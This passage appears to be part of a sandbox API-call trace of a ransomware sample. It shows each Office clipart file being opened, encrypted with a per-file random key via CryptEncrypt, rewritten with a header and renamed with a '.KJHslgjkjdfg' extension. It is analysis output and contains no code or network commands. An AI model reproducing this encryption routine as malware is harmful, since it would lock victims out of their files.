dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.366] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.366] GetProcessHeap () returned 0x990000 [0207.366] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.367] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.367] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.367] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.367] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.367] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.367] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.367] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.367] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.367] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4584, lpOverlapped=0x0) returned 1 [0207.368] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4590, dwBufLen=0x4590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4590) returned 1 [0207.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.369] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4590, lpOverlapped=0x0) returned 1 [0207.369] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.369] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.369] SetEndOfFile (hFile=0x130) returned 1 [0207.372] GetProcessHeap () returned 0x990000 [0207.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.372] GetProcessHeap () returned 0x990000 [0207.372] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.kjhslgjkjdfg")) returned 1 [0207.374] CloseHandle (hObject=0x130) returned 1 [0207.374] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0207.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.375] GetProcessHeap () returned 0x990000 [0207.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.375] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.375] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.375] GetProcessHeap () returned 0x990000 [0207.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.375] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.375] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.375] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.378] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.378] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.378] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.378] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.378] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.379] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x76e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x76e0, lpOverlapped=0x0) returned 1 [0207.380] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x76e0, dwBufLen=0x76e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x76e0) returned 1 [0207.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.380] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x76e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x76e0, lpOverlapped=0x0) returned 1 [0207.380] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.380] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x77b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.381] SetEndOfFile (hFile=0x130) returned 1 [0207.384] GetProcessHeap () returned 0x990000 [0207.384] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.384] GetProcessHeap () returned 0x990000 [0207.384] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.kjhslgjkjdfg")) returned 1 [0207.386] CloseHandle (hObject=0x130) returned 1 [0207.387] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0207.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.388] GetProcessHeap () returned 0x990000 [0207.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.388] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.388] GetProcessHeap () returned 0x990000 [0207.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.388] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.388] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.388] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.391] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.391] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.391] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.391] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.391] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.391] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.391] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5850, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5850, lpOverlapped=0x0) returned 1 [0207.393] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5850, dwBufLen=0x5850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5850) returned 1 [0207.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.393] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5850, lpOverlapped=0x0) returned 1 [0207.393] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.393] SetEndOfFile (hFile=0x130) returned 1 [0207.396] GetProcessHeap () returned 0x990000 [0207.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.396] GetProcessHeap () returned 0x990000 [0207.396] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.kjhslgjkjdfg")) returned 1 [0207.398] CloseHandle (hObject=0x130) returned 1 [0207.398] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0207.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.400] GetProcessHeap () returned 0x990000 [0207.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.400] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.400] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.400] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.402] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.402] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.402] GetProcessHeap () returned 0x990000 [0207.402] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.402] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.403] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.403] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.403] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.403] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.403] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.403] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.403] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.403] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.403] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5328, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5328, lpOverlapped=0x0) returned 1 [0207.405] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5330, dwBufLen=0x5330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5330) returned 1 [0207.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.405] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5330, lpOverlapped=0x0) returned 1 [0207.405] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.405] SetEndOfFile (hFile=0x130) returned 1 [0207.408] GetProcessHeap () returned 0x990000 [0207.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.408] GetProcessHeap () returned 0x990000 [0207.408] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.kjhslgjkjdfg")) returned 1 [0207.410] CloseHandle (hObject=0x130) returned 1 [0207.410] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0207.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.411] GetProcessHeap () returned 0x990000 [0207.411] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.411] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.411] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.411] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.411] GetProcessHeap () returned 0x990000 [0207.411] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.411] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.411] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.411] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.414] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.414] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.414] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.415] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.415] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 